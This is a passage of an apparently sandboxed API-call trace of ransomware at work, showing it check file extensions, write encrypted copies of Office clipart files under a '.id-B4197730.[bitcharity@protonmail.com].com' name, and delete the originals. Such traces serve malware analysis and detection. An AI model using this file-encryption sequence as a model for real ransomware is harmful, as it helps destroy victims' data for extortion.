lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.545] lstrlenW (lpString=".doc") returned 4 [0293.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.545] lstrlenW (lpString=".docx") returned 5 [0293.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.545] lstrlenW (lpString=".pdf") returned 4 [0293.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.546] lstrlenW (lpString=".xls") returned 4 [0293.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.546] lstrlenW (lpString=".xlsx") returned 5 [0293.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.546] lstrlenW (lpString=".ppt") returned 4 [0293.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.546] lstrlenW (lpString=".zip") returned 4 [0293.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.546] lstrlenW (lpString=".rar") returned 4 [0293.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.546] lstrlenW (lpString=".bz2") returned 4 [0293.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.546] lstrlenW (lpString=".7z") returned 3 [0293.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.546] lstrlenW (lpString=".dbf") returned 4 [0293.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.546] lstrlenW (lpString=".1cd") returned 4 [0293.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 68 [0293.546] lstrlenW (lpString=".jpg") returned 4 [0293.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.546] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.546] lstrlenW (lpString="DD00407_.WMF") returned 12 [0293.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0293.547] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=7828) returned 1 [0293.547] CloseHandle (hObject=0x10bc) returned 1 [0293.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0293.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0293.547] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.547] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0293.547] GetLastError () returned 0x0 [0293.547] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1e94, lpOverlapped=0x0) returned 1 [0293.664] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0293.753] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.753] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.753] SetEndOfFile (hFile=0x10dc) returned 1 [0293.754] CloseHandle (hObject=0x10dc) returned 1 [0293.754] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.754] SetEndOfFile (hFile=0x10bc) returned 1 [0293.755] CloseHandle (hObject=0x10bc) returned 1 [0293.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0293.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.755] lstrlenW (lpString=".doc") returned 4 [0293.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.755] lstrlenW (lpString=".docx") returned 5 [0293.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.756] lstrlenW (lpString=".pdf") returned 4 [0293.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString=".xls") returned 4 [0293.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.756] lstrlenW (lpString=".xlsx") returned 5 [0293.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.756] lstrlenW (lpString=".ppt") returned 4 [0293.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.756] lstrlenW (lpString=".zip") returned 4 [0293.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.756] lstrlenW (lpString=".rar") returned 4 [0293.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString=".bz2") returned 4 [0293.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString=".7z") returned 3 [0293.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.756] lstrlenW (lpString=".dbf") returned 4 [0293.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.756] lstrlenW (lpString=".1cd") returned 4 [0293.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.756] lstrlenW (lpString=".jpg") returned 4 [0293.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.757] lstrlenW (lpString=".doc") returned 4 [0293.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString=".docx") returned 5 [0293.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.757] lstrlenW (lpString=".pdf") returned 4 [0293.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString=".xls") returned 4 [0293.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.757] lstrlenW (lpString=".xlsx") returned 5 [0293.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.757] lstrlenW (lpString=".ppt") returned 4 [0293.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.757] lstrlenW (lpString=".zip") returned 4 [0293.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.757] lstrlenW (lpString=".rar") returned 4 [0293.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString=".bz2") returned 4 [0293.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString=".7z") returned 3 [0293.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.757] lstrlenW (lpString=".dbf") returned 4 [0293.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.757] lstrlenW (lpString=".1cd") returned 4 [0293.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0293.757] lstrlenW (lpString=".jpg") returned 4 [0293.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.758] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.758] lstrlenW (lpString="DD00414_.WMF") returned 12 [0293.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0293.758] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=42908) returned 1 [0293.758] CloseHandle (hObject=0x10bc) returned 1 [0293.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0293.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0293.759] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.759] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0293.763] GetLastError () returned 0x0 [0293.763] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0294.355] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0294.356] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.356] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.357] SetEndOfFile (hFile=0x10dc) returned 1 [0294.357] CloseHandle (hObject=0x10dc) returned 1 [0294.357] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.357] SetEndOfFile (hFile=0x10bc) returned 1 [0294.358] CloseHandle (hObject=0x10bc) returned 1 [0294.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.359] lstrlenW (lpString=".doc") returned 4 [0294.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString=".docx") returned 5 [0294.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.359] lstrlenW (lpString=".pdf") returned 4 [0294.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString=".xls") returned 4 [0294.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.359] lstrlenW (lpString=".xlsx") returned 5 [0294.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.359] lstrlenW (lpString=".ppt") returned 4 [0294.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.359] lstrlenW (lpString=".zip") returned 4 [0294.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.359] lstrlenW (lpString=".rar") returned 4 [0294.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString=".bz2") returned 4 [0294.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.359] lstrlenW (lpString=".7z") returned 3 [0294.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.360] lstrlenW (lpString=".dbf") returned 4 [0294.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.360] lstrlenW (lpString=".1cd") returned 4 [0294.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.360] lstrlenW (lpString=".jpg") returned 4 [0294.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.360] lstrlenW (lpString=".doc") returned 4 [0294.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.360] lstrlenW (lpString=".docx") returned 5 [0294.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.360] lstrlenW (lpString=".pdf") returned 4 [0294.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.360] lstrlenW (lpString=".xls") returned 4 [0294.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.360] lstrlenW (lpString=".xlsx") returned 5 [0294.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.360] lstrlenW (lpString=".ppt") returned 4 [0294.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.361] lstrlenW (lpString=".zip") returned 4 [0294.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.361] lstrlenW (lpString=".rar") returned 4 [0294.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.361] lstrlenW (lpString=".bz2") returned 4 [0294.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.361] lstrlenW (lpString=".7z") returned 3 [0294.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.361] lstrlenW (lpString=".dbf") returned 4 [0294.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.361] lstrlenW (lpString=".1cd") returned 4 [0294.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0294.361] lstrlenW (lpString=".jpg") returned 4 [0294.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.361] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.361] lstrlenW (lpString="DD00687_.WMF") returned 12 [0294.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0294.362] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=20784) returned 1 [0294.362] CloseHandle (hObject=0x10bc) returned 1 [0294.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220 [0294.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0294.362] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.362] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0294.363] GetLastError () returned 0x0 [0294.363] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x5130, lpOverlapped=0x0) returned 1 [0294.556] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x5140, lpOverlapped=0x0) returned 1 [0294.558] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.558] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.558] SetEndOfFile (hFile=0x10dc) returned 1 [0294.558] CloseHandle (hObject=0x10dc) returned 1 [0294.558] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.558] SetEndOfFile (hFile=0x10bc) returned 1 [0294.559] CloseHandle (hObject=0x10bc) returned 1 [0294.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.559] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1 [0294.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.559] lstrlenW (lpString=".doc") returned 4 [0294.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.559] lstrlenW (lpString=".docx") returned 5 [0294.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.559] lstrlenW (lpString=".pdf") returned 4 [0294.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.559] lstrlenW (lpString=".xls") returned 4 [0294.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.559] lstrlenW (lpString=".xlsx") returned 5 [0294.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.560] lstrlenW (lpString=".ppt") returned 4 [0294.560] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.560] lstrlenW (lpString=".zip") returned 4 [0294.560] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.560] lstrlenW (lpString=".rar") returned 4 [0294.560] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString=".bz2") returned 4 [0294.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString=".7z") returned 3 [0294.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.560] lstrlenW (lpString=".dbf") returned 4 [0294.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.560] lstrlenW (lpString=".1cd") returned 4 [0294.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.560] lstrlenW (lpString=".jpg") returned 4 [0294.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68 [0294.560] lstrlenW (lpString="C:\\Program Files\\Microsoft 